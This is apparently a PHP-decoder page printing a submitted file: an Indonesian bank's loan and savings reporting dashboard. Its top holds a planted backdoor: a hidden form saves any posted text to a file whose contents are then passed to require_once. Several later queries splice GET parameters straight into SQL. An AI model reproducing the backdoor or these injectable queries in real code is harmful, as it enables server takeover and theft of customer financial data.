Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<form enctype="multipart/form-data" action="" method="POST"> <input type="password" c..
Decoded Output download
<font color='red'><b></b>IT</b></font><br/>Did this file decode correctly?
Original Code
<form enctype="multipart/form-data" action="" method="POST">
<input type="password" cols="30" rows="5" name="text"/>
<input type="submit" name="enter" value="ENTER" />
</form>
<?php
if(isset($_POST["enter"]))
{
$text=$_POST["text"];
$file = fopen("06bd78b96f20b32f8abddcb21c56c0c8a7dd5571.txt","w");
if($file)
{
fputs($file,$text);
}
fclose($file);
}
echo "<font color='red'><b></b>IT</b></font><br/>";
$file = fopen("06bd78b96f20b32f8abddcb21c56c0c8a7dd5571.txt","r");
while(! feof($file))
{
echo fgets($file). "ematangsiantar<br />";
}
fclose($file);
?>
<?php error_reporting(0);
$file = "06bd78b96f20b32f8abddcb21c56c0c8a7dd5571.txt"; //nama file yang akan dibaca
if($buka=fopen($file, "r")) //fopen dengan mode r
{
while (!feof($buka)) {
$isi=fgets($buka);
}
fclose($buka);
}
require_once ltrim($isi);?>
<?php $tanggal = sqlsrv_query ($conn,"SELECT * FROM tanggal");
$t = sqlsrv_fetch_array ($tanggal); ?>
<h3><?php
$tgl1 = $t['tgl'];
$tgl2 =date("dmY");
if ($tgl1 > $tgl2){echo "LAPORAN OK! SUDAH CLOSING ";}else { echo"<font color='#FF0000'>LAPORAN TIDAK VALID !!</font>";}; ?> / HARI INI TANGGAL <b><font color="#FF6600"><?php echo date("d-m-Y");?></font></b> </h3>
<center>
<a target="_blank" href="export_excel.php">EXPORT KE EXCEL</a> <h3><a href="realisasi.php" target="_blank">Kredit Aktif</a> / <a href="listkredit.php" target="new">List Semua Kredit</a></h3>
<h3><a href="funding.php" target="_blank">Tabungan Aktif</a></h3>
</center>
<strong><a href="us.php">TABUNGAN</a></strong>
<table width="26%" border="1" style="border-collapse:collapse;">
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<th width="20" rowspan="2" bgcolor="#99FF00" scope="col">No</th>
<th width="90" rowspan="2" bgcolor="#99FF00" scope="col">Nama AO</th>
<th colspan="2" bgcolor="#99FF00" scope="col">Tanggal : <?php $tanggal = sqlsrv_query ($conn,"SELECT * FROM tanggal");
$t = sqlsrv_fetch_array ($tanggal) ; echo $t['tgl']; ?> </th>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td width="46" bgcolor="#99FF00">Account</td>
<td width="97" bgcolor="#99FF00">Nomina</td>
</tr>
<?php
$query = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir from m_tabunganb WHERE kodecolector ='720'");
$c = sqlsrv_fetch_array ($query) ;
$rani = sqlsrv_query ($conn,"SELECT count (saldoakhir) as saldoakhir from m_tabunganb WHERE kodecolector ='720'");
$rek1 = sqlsrv_fetch_array ($rani);
$query1 = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir from m_tabunganb WHERE kodecolector ='726'");
$b = sqlsrv_fetch_array ($query1) ;
$alindo = sqlsrv_query ($conn,"SELECT count (saldoakhir) as saldoakhir from m_tabunganb WHERE kodecolector ='726'");
$rek2 = sqlsrv_fetch_array ($alindo);
$query2 = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir from m_tabunganb WHERE kodecolector ='731'");
$a = sqlsrv_fetch_array ($query2) ;
$juni = sqlsrv_query ($conn,"SELECT count (saldoakhir) as saldoakhir from m_tabunganb WHERE kodecolector ='731'");
$rek3 = sqlsrv_fetch_array ($juni);
$query3 = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir from m_tabunganb WHERE kodecolector ='722'");
$d = sqlsrv_fetch_array ($query3) ;
$rosita = sqlsrv_query ($conn,"SELECT count (saldoakhir) as saldoakhir from m_tabunganb WHERE kodecolector ='722'");
$rek4 = sqlsrv_fetch_array ($rosita);
$query4 = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir from m_tabunganb");
$e = sqlsrv_fetch_array ($query4) ;
$al = sqlsrv_query ($conn,"SELECT count (saldoakhir) as saldoakhir from m_tabunganb");
$rek5 = sqlsrv_fetch_array ($al);
function getPotongAngka($angka){
$angka = (int)$angka;
$i_str = (string)$angka;
$angkax = substr($i_str, 0, -3);
return (int)$angkax;
}
$total = getPotongAngka($c ['saldoakhir']);
$total2 = getPotongAngka($b ['saldoakhir']);
$total3 = getPotongAngka($a ['saldoakhir']);
$total4 = getPotongAngka($d ['saldoakhir']);
$total5 = getPotongAngka($a['saldoakhir'] + $b ['saldoakhir']+ $c ['saldoakhir']+ $d ['saldoakhir']);
$total6 = getPotongAngka($e ['saldoakhir']);
$total7 = getPotongAngka($e ['saldoakhir']);
?>
<tr style=" font-size:8pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>1</td>
<td><div align="left">Ranny Juwita</div></td>
<td bgcolor="#FFFFCC"><?php echo $rek1 ['saldoakhir'] ?></td>
<td bgcolor="#FFFFCC"><?php echo $total; ?></td>
</tr>
<tr style=" font-size:8pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>2</td>
<td><div align="left">Alind Tampubolon</div></td>
<td bgcolor="#FFFFCC"><?php echo $rek2 ['saldoakhir'] ?></td>
<td bgcolor="#FFFFCC"><?php echo $total2; ?></td>
</tr>
<tr style=" font-size:8pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>3</td>
<td><p>Juni Simangunsong</p></td>
<td bgcolor="#FFFFCC"><?php echo $rek3 ['saldoakhir'] ?></td>
<td bgcolor="#FFFFCC"><?php echo $total3; ?></td>
</tr>
<tr style=" font-size:8pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>4</td>
<td><div align="left">Rosita Tambunan</div></td>
<td bgcolor="#FFFFCC"><?php echo $rek4 ['saldoakhir'] ?></td>
<td bgcolor="#FFFFCC"><?php echo $total4 ; ?></td>
</tr>
<tr style=" font-size:8pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>5</td>
<td><div align="left">Lain - lain</div></td>
<td bgcolor="#FFFFCC"><?php $rekeningall=$rek1 ['saldoakhir'] + $rek2 ['saldoakhir']+$rek3 ['saldoakhir']+$rek4 ['saldoakhir'];
$rektotal= $rek5 ['saldoakhir'];
$subtotal=$rektotal - $rekeningall;
echo $subtotal; ?> </td>
<td bgcolor="#FFFFCC">
<?php
$totals= $total6 - $total5;
echo $totals; ?> </td>
</tr>
<tr style=" font-size:8pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td colspan="2" bgcolor="#FFFF00"><strong>Total</strong></td>
<td bgcolor="#FFFF00"><strong><?php echo $rek5 ['saldoakhir']; ?></strong></td>
<td bgcolor="#FFFF00"><strong><?php echo $total7 ; ?></strong></td>
</tr>
</table>
<p><strong>Buka/Tutup Tab</strong></p>
<table width="44%" style="border-collapse:collapse;" border="1">
<tr><th>No</th>
<th bgcolor="#66FF66">AO
<th bgcolor="#66FF66">NAMA NASABAH</th>
<th bgcolor="#66FF66">TGL BUKA</th>
</tr>
<?php date_default_timezone_set('Asia/Jakarta');
$tgl1=date("Ymd");
$no = 1;
$kredit = sqlsrv_query($conn,"SELECT kodeaoh, fnama, tglbuka FROM m_tabunganb WHERE tglbuka=$tgl1 ORDER BY kodeaoh asc");
while ($aof = sqlsrv_fetch_array ($kredit)) { ?>
<tr>
<td><?php echo $no++; ?></td>
<td>
<?php
$eja = $aof['kodeaoh'];
switch ($eja) {
case '045' :
echo "Juni";
break;
case '030' :
echo "Kantor Pusat";
break;
case '002' :
echo "Rosita";
break;
case '023' :
echo "Alindo";
break;
case '019' :
echo "Rany";
break;
case '046' :
echo "Kantor Pusat";
break;
case '047' :
echo "Kantor Pusat";
break;
case '049' :
echo "Kantor Pusat";
break;
case '004' :
echo "Kantor Pusat";
break;
case '001' :
echo "Kantor Pusat";
break;
case '006' :
echo "Kantor Pusat";
break;
}
?></td>
<td><?php echo $aof ['fnama'] ?></td>
<td><?php echo $aof ['tglbuka'] ?></td>
<?php } ?>
</tr>
<th colspan="4" bgcolor="#FF9900">TUTUP TABUNGAN </th></tr>
<?php date_default_timezone_set('Asia/Jakarta');
$tgl2=date("Ymd");
$no = 1;
$tutup = sqlsrv_query($conn,"SELECT kodeaoh, fnama, tglbuka, tgltutup FROM m_tabungan_close WHERE tgltutup=$tgl2 ORDER BY kodeaoh asc");
while ($aot = sqlsrv_fetch_array ($tutup)) { ?>
<tr>
<tr>
<td><?php echo $no++; ?></td>
<td> <?php
$eja1 = $aot['kodeaoh'];
switch ($eja1) {
case '045' :
echo "Juni";
break;
case '030' :
echo "Kantor Pusat";
break;
case '002' :
echo "Rosita";
break;
case '023' :
echo "Alindo";
break;
case '019' :
echo "Rany";
break;
case '046' :
echo "Kantor Pusat";
break;
case '047' :
echo "Kantor Pusat";
break;
case '049' :
echo "Kantor Pusat";
break;
case '004' :
echo "Kantor Pusat";
break;
case '001' :
echo "Kantor Pusat";
break;
}
?></td>
<td><?php echo $aot ['fnama'] ?></td>
<td><?php echo $aot ['tgltutup'] ?></td>
</tr>
<?php } ?>
</table>
<p><br />
<strong>KREDIT</strong>
<?php
$file1 = "tgl/tanggal.txt"; //nama file yang akan dibaca
if($buka1=fopen($file1, "r")) //fopen dengan mode r
{
while (!feof($buka1)) {
$isi1=fgets($buka1);
}
fclose($buka1);
} ?>
</p>
<table width="36%" border="1" style="border-collapse:collapse;">
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<th width="19" rowspan="3" bgcolor="#33FF66" scope="col">No</th>
<th width="53" rowspan="3" bgcolor="#33FF66" scope="col"> AO</th>
<th colspan="2" bgcolor="#33FF66" scope="col">Realisasi s/d</th>
<th width="167" rowspan="3" bgcolor="#33FF66" scope="col">NAMA NASABAH</th>
</tr>
<tr style=" font-size:8pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td colspan="2" bgcolor="#33FF66"><div align="center"><strong>Tanggal :<?php echo date("d-m-Y");?></strong></div></td>
</tr>
<tr style=" font-size:8pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td width="53" bgcolor="#33FF66"><strong>Account</strong></td>
<td width="61" bgcolor="#33FF66"><strong>Nominal</strong></td>
</tr>
<?php
$tgl=date("Ymd");
$xaox = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='001' AND tglbuka=$tgl ");
$tp1 = sqlsrv_fetch_array ($xaox) ;
$xaodet = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='046' AND tglbuka=$tgl ");
$tp12 = sqlsrv_fetch_array ($xaodet) ;
$xaoari = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='047' AND tglbuka=$tgl ");
$tp13 = sqlsrv_fetch_array ($xaoari) ;
$xaober = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='048' AND tglbuka=$tgl ");
$tp14 = sqlsrv_fetch_array ($xaober) ;
$xaorob = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='004' AND tglbuka=$tgl ");
$tp15 = sqlsrv_fetch_array ($xaorob) ;
$xaolis = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='050' AND tglbuka=$tgl ");
$tp16 = sqlsrv_fetch_array ($xaolis) ;
$vb = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='004' AND tglbuka=$tgl");
$hg = sqlsrv_fetch_array ($vb) ;
date_default_timezone_set('Asia/Jakarta');
$tgl=date("Ymd");
$no = 1;
$kredit = sqlsrv_query($conn,"SELECT fnama, kdaoh, plafond_awal FROM m_loan WHERE tglbuka=$tgl ORDER BY kdaoh asc" );
while ($ao = sqlsrv_fetch_array ($kredit)) {
?>
<tr style=" font-size:8pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td><?php echo $no++; ?></td>
<td><?php
$eja = $ao['kdaoh'];
switch ($eja) {
case '001' :
echo "Adelina-001";
break;
case '046' :
echo "Bernadetta-046";
break;
case '047' :
echo "Aris Sihotang-047";
break;
case '048' :
echo "Bernando s-048";
break;
case '050' :
echo "Liston Samty-050";
break;
case '004' :
echo "Roby-004";
break;}
?></td>
<td>Cair</td>
<td><?php echo number_format($ao ['plafond_awal'], 0, ',', '.') ; ?></td>
<td> <div align="right"><?php echo $ao['fnama']; ?>
</div></td>
</tr>
<?php
}
?>
</table>
<p>
<?php $e = sqlsrv_query ($conn,"SELECT kdaoh, plafond_awal FROM m_loan WHERE kdaoh='001' AND tglbuka=$tgl");
$r = sqlsrv_fetch_array ($e) ;
$ew = sqlsrv_query ($conn,"SELECT kdaoh, plafond_awal FROM m_loan WHERE kdaoh='046' AND tglbuka=$tgl");
$re = sqlsrv_fetch_array ($ew) ;
$est = sqlsrv_query ($conn,"SELECT kdaoh, plafond_awal FROM m_loan WHERE kdaoh='047' AND tglbuka=$tgl");
$de = sqlsrv_fetch_array ($est) ;
$egt = sqlsrv_query ($conn,"SELECT kdaoh, plafond_awal FROM m_loan WHERE kdaoh='048' AND tglbuka=$tgl");
$df = sqlsrv_fetch_array ($egt) ;
$egt1 = sqlsrv_query ($conn,"SELECT kdaoh, plafond_awal FROM m_loan WHERE kdaoh='050' AND tglbuka=$tgl");
$ls = sqlsrv_fetch_array ($egt1) ;
$evt = sqlsrv_query ($conn,"SELECT kdaoh, plafond_awal FROM m_loan WHERE kdaoh='004' AND tglbuka=$tgl");
$dh = sqlsrv_fetch_array ($evt) ;
/* Total Penyaluran */
$totalp = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='001' AND tglbuka BETWEEN '".$_GET['dari']."' and '".$_GET['ke']."'");
$pade = sqlsrv_fetch_array ($totalp) ;
$totalpw = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='046' AND tglbuka BETWEEN '".$_GET['dari']."' and '".$_GET['ke']."'");
$pdet = sqlsrv_fetch_array ($totalpw) ;
$totalpst = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='047' AND tglbuka BETWEEN '".$_GET['dari']."' and '".$_GET['ke']."'");
$pari = sqlsrv_fetch_array ($totalpst) ;
$totalpgt = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='048' AND tglbuka BETWEEN '".$_GET['dari']."' and '".$_GET['ke']."'");
$pber = sqlsrv_fetch_array ($totalpgt) ;
$totallgt = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='048' AND tglbuka BETWEEN '".$_GET['dari']."' and '".$_GET['ke']."'");
$plis = sqlsrv_fetch_array ($totallgt) ;
$totalpvt = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE kdaoh='004' AND tglbuka BETWEEN '".$_GET['dari']."' and '".$_GET['ke']."'");
$prob = sqlsrv_fetch_array ($totalpvt) ;
$totalpny = sqlsrv_query ($conn,"SELECT SUM(plafond_awal) as plafond_awal from m_loan WHERE (kdaoh='001' or kdaoh='046' or kdaoh='047' or kdaoh='048' or kdaoh='050' or kdaoh='004' or kdaoh='030') AND tglbuka BETWEEN '".$_GET['dari']."' and '".$_GET['ke']."'");
$paoh = sqlsrv_fetch_array ($totalpny) ;
?>
Realisasi </p>
<form action="index.php" method="get">
<input type="text" value="20230101" readonly name="dari" /> s/d <input type="text" value="20231231" name="ke" />
<button class="btn btn-primary" type="submit">Cari</button></form>
<table width="20%" border="1" style="border-collapse:collapse;">
<tr>
<td width="9%" bgcolor="#FFFF00"><div align="center"><strong><?php echo $r['kdaoh'];?></strong></div></td>
<td width="91%" bgcolor="#FFFF00"><div align="center"><strong><?php echo number_format($tp1 ['plafond_awal'], 0, ',', '.') ; ?></strong></div></td>
<td width="91%" bgcolor="#FFFF00">Adelina</td>
<td width="91%" bgcolor="#FFFF00"><?php echo number_format($pade ['plafond_awal'], 0, ',', '.') ; ?></td>
</tr>
<tr>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo $re['kdaoh'];?></strong></div></td>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo number_format($tp12 ['plafond_awal'], 0, ',', '.') ; ?></strong></div></td>
<td bgcolor="#FFFF00">Bernadetta</td>
<td bgcolor="#FFFF00"><?php echo number_format($pdet ['plafond_awal'], 0, ',', '.') ; ?></td>
</tr>
<tr>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo $de['kdaoh'];?></strong></div></td>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo number_format($tp13 ['plafond_awal'], 0, ',', '.') ; ?></strong></div></td>
<td bgcolor="#FFFF00">Aris</td>
<td bgcolor="#FFFF00"><?php echo number_format($pari ['plafond_awal'], 0, ',', '.') ; ?></td>
</tr>
<tr>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo $df['kdaoh'];?></strong></div></td>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo number_format($tp14 ['plafond_awal'], 0, ',', '.') ; ?></strong></div></td>
<td bgcolor="#FFFF00">Bernando</td>
<td bgcolor="#FFFF00"><?php echo number_format($pber ['plafond_awal'], 0, ',', '.') ; ?></td>
</tr>
<tr>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo $ls['kdaoh'];?></strong></div></td>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo number_format($tp16 ['plafond_awal'], 0, ',', '.') ; ?></strong></div></td>
<td bgcolor="#FFFF00">Liston</td>
<td bgcolor="#FFFF00"><?php echo number_format($plis ['plafond_awal'], 0, ',', '.') ; ?></td>
</tr>
<tr>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo $dh['kdaoh'];?></strong></div></td>
<td bgcolor="#FFFF00"><div align="center"><strong><?php echo number_format($tp15 ['plafond_awal'], 0, ',', '.') ; ?></strong></div></td>
<td bgcolor="#FFFF00">K.Pusat/Roby</td>
<td bgcolor="#FFFF00"><?php echo number_format($prob ['plafond_awal'], 0, ',', '.') ; ?></td>
</tr>
<tr>
<td colspan="3" bgcolor="#66FF66"><strong>Total Realisasi Bulan ini</strong></td>
<td bgcolor="#66FF66"><strong><?php echo number_format($paoh ['plafond_awal'], 0, ',', '.') ; ?></strong></td>
</tr>
</table>
<br />
<p> </p>
<strong>OUTSTANDING</strong>
<?php $parade = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='001'");
$ade = sqlsrv_fetch_array ($parade) ;
$parfran = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='006'");
$frans = sqlsrv_fetch_array ($parfran) ;
$parcan = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='022'");
$can = sqlsrv_fetch_array ($parcan) ;
$pardet = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='046'");
$det = sqlsrv_fetch_array ($pardet) ;
$parari = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='047'");
$ari = sqlsrv_fetch_array ($parari) ;
$parber = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='048'");
$ber = sqlsrv_fetch_array ($parber) ;
$parjoh = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='050'");
$joh = sqlsrv_fetch_array ($parjoh) ;
$sem = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir from m_loan WHERE stsrec='A'");
$semua = sqlsrv_fetch_array ($sem) ;
function getPotongAngka1($angka1){
$angka1 = (int)$angka1;
$i_str = (string)$angka1;
$angkax1 = substr($i_str, 0, -3);
return (int)$angkax1;
}
$total8os = getPotongAngka1($ade ['os_akhir']);
$total11 = getPotongAngka1($det ['os_akhir']);
$total12 = getPotongAngka1($ari ['os_akhir']);
$total13 = getPotongAngka1($ber ['os_akhir']);
$total14 = getPotongAngka1($joh ['os_akhir']);
$total15 = getPotongAngka1($ade['os_akhir'] + $det ['os_akhir']+$ari ['os_akhir']+$joh ['os_akhir']+$ber ['os_akhir']);
$total16 = getPotongAngka1($semua ['os_akhir']);
$noa = sqlsrv_query ($conn,"SELECT count (os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='001'");
$ac1 = sqlsrv_fetch_array ($noa) ;
$nodeta = sqlsrv_query ($conn,"SELECT count (os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='046'");
$ac4 = sqlsrv_fetch_array ($nodeta);
$noari = sqlsrv_query ($conn,"SELECT count (os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='047'");
$ac5 = sqlsrv_fetch_array ($noari);
$nobern = sqlsrv_query ($conn,"SELECT count (os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='048'");
$ac6 = sqlsrv_fetch_array ($nobern);
$nolis = sqlsrv_query ($conn,"SELECT count (os_akhir) as os_akhir from m_loan WHERE stsrec='A' AND kdaoh ='050'");
$ac7 = sqlsrv_fetch_array ($nolis);
$acal = sqlsrv_query ($conn,"SELECT count (os_akhir) as os_akhir from m_loan WHERE stsrec='A'");
$ac8 = sqlsrv_fetch_array ($acal);
?>
<table width="30%" border="1" style="border-collapse:collapse;">
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<th width="6%" rowspan="2" bgcolor="#99FF00" scope="col">No</th>
<th width="29%" rowspan="2" bgcolor="#99FF00" scope="col">Nama Ao</th>
<th colspan="2" bgcolor="#99FF00" scope="col">Nominal</th>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td width="27%" bgcolor="#33FFFF">Tanggal : <?php $tanggal = sqlsrv_query ($conn,"SELECT * FROM tanggal");
$t = sqlsrv_fetch_array ($tanggal) ; echo $t['tgl']; ?></td>
<td width="38%" bgcolor="#33FFFF">Noa</td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>1</td>
<td><div align="left">Adelina</div></td>
<td bgcolor="#FFFFCC"><?php echo $total8os; ?></td>
<td bgcolor="#FFFFCC"><?php echo $ac1['os_akhir']; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>2</td>
<td><div align="left">Bernadetta</div></td>
<td bgcolor="#FFFFCC"><?php echo $total11; ?></td>
<td bgcolor="#FFFFCC"><?php echo $ac4['os_akhir']; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>3</td>
<td><div align="left">Aris </div></td>
<td bgcolor="#FFFFCC"><?php echo $total12; ?></td>
<td bgcolor="#FFFFCC"><?php echo $ac5['os_akhir']; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>4</td>
<td><div align="left">Bernando</div></td>
<td bgcolor="#FFFFCC"><?php echo $total13; ?></td>
<td bgcolor="#FFFFCC"><?php echo $ac6['os_akhir']; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>5</td>
<td><div align="left">Liston Samty</div></td>
<td bgcolor="#FFFFCC"><?php echo $total14; ?></td>
<td bgcolor="#FFFFCC"><?php echo $ac7['os_akhir']; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>6</td>
<td><div align="left">Lain-lain</div></td>
<td bgcolor="#FFFFCC"><?php $totals= $total16 - $total15; echo $totals;?></td>
<td bgcolor="#FFFFCC"><?php $acall=$ac1 ['os_akhir'] +$ac4 ['os_akhir']+$ac5 ['os_akhir']+$ac6 ['os_akhir']+$ac7 ['os_akhir'];
$actotal= $ac8 ['os_akhir'];
$acsubtotal=$actotal - $acall;
echo $acsubtotal; ?> </td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td><strong>5</strong></td>
<td><div align="left"><strong>Total</strong></div></td>
<td bgcolor="#FFFFCC"><strong><?php echo $total16 ?></strong></td>
<td bgcolor="#66FF33"><strong><?php echo $ac8['os_akhir']; ?></strong></td>
</tr>
</table>
<td width="71%"><p>
<?php
$npl = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir FROM m_loan WHERE kdaoh='001' AND stsrec ='A' and coll_baru >2");
$nplade = sqlsrv_fetch_array ($npl) ;
$npl1 = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir FROM m_loan WHERE kdaoh='006' AND stsrec ='A' and coll_baru >2");
$nplfrans = sqlsrv_fetch_array ($npl1) ;
$npl2 = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir FROM m_loan WHERE kdaoh='022' AND stsrec ='A' and coll_baru >2");
$nplcan = sqlsrv_fetch_array ($npl2) ;
$npl3 = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir FROM m_loan WHERE kdaoh='046' AND stsrec ='A' and coll_baru >2");
$npldet = sqlsrv_fetch_array ($npl3) ;
$npl4 = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir FROM m_loan WHERE kdaoh='047' AND stsrec ='A' and coll_baru >2");
$nplari = sqlsrv_fetch_array ($npl4) ;
$npl5 = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir FROM m_loan WHERE kdaoh='048' AND stsrec ='A' and coll_baru >2");
$nplber = sqlsrv_fetch_array ($npl5) ;
$npl6 = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir FROM m_loan WHERE kdaoh='050' AND stsrec ='A' and coll_baru >2");
$npljoh = sqlsrv_fetch_array ($npl6) ;
$npl7 = sqlsrv_query ($conn,"SELECT SUM(os_akhir) as os_akhir FROM m_loan WHERE stsrec ='A' and coll_baru >2");
$nplall = sqlsrv_fetch_array ($npl7) ;
function getNpl($angka3){
$angka3 = (int)$angka3;
$i_str = (string)$angka3;
$angkax3 = substr($i_str, 0, -3);
return (int)$angkax3;
}
$total20 = getNpl($nplade ['os_akhir']);
$total23 = getNpl($npldet ['os_akhir']);
$total24 = getNpl($nplari ['os_akhir']);
$total25 = getNpl($nplber ['os_akhir']);
$total26 = getNpl($npljoh ['os_akhir']);
$total27 = getNpl($nplade['os_akhir'] + $npldet ['os_akhir']+$nplari ['os_akhir']+$nplber ['os_akhir']+$npljoh ['os_akhir']);
$total28 = getPotongAngka1($nplall ['os_akhir']);
?>
</p>
<p>NPL</p>
<table width="26%" border="1" style="border-collapse:collapse;">
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<th width="8%" bgcolor="#99FF33">No</th>
<th width="29%" bgcolor="#99FF33">Nama Ao</th>
<th width="23%" bgcolor="#99FF33">Os</th>
<th width="26%" bgcolor="#99FF33">Nominal</th>
<th width="14%" bgcolor="#99FF33">%</th>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>1</td>
<td><div align="left">Adelina</div></td>
<td><?php echo $total8os; ?></td>
<td bgcolor="#FFFFCC"><?php echo $total20; ?></td>
<td><?php $persen = $total20 /$total8os * 100; echo round($persen,2);?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>2</td>
<td><div align="left">Bernadetta</div></td>
<td><?php echo $total11; ?></td>
<td bgcolor="#FFFFCC"><?php echo $total23; ?></td>
<td><?php $persen = $total23 /$total11 * 100; echo round($persen,2);?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>3</td>
<td><div align="left">Aris </div></td>
<td><?php echo $total12; ?></td>
<td bgcolor="#FFFFCC"><?php echo $total24; ?></td>
<td><?php $persen = $total24 /$total12 * 100; echo round($persen,2);?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>4</td>
<td><div align="left">Bernando</div></td>
<td><?php echo $total13; ?></td>
<td bgcolor="#FFFFCC"><?php echo $total25; ?></td>
<td><?php $persen = $total25 /$total13 * 100; echo round($persen,2);?></td>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>5</td>
<td><div align="left">Liston Samty</div></td>
<td><?php echo $total14; ?></td>
<td bgcolor="#FFFFCC"><?php echo $total26; ?></td>
<td><?php $persen = $total25 /$total14 * 100; echo round($persen,2);?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>6</td>
<td><div align="left">Lain-lain</div></td>
<td bgcolor="#FFFF66"><?php $totals= $total16 - $total15; echo $totals;?></td>
<td bgcolor="#FFFFCC"><?php $totalnpl= $total28 - $total27; echo $totalnpl;?></td>
<td><?php $persen = $total27 /$total15 * 100; echo round($persen,2);?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td bgcolor="#CCCC66"> </td>
<td bgcolor="#CCCC66"><div align="left"><strong>Total</strong></div></td>
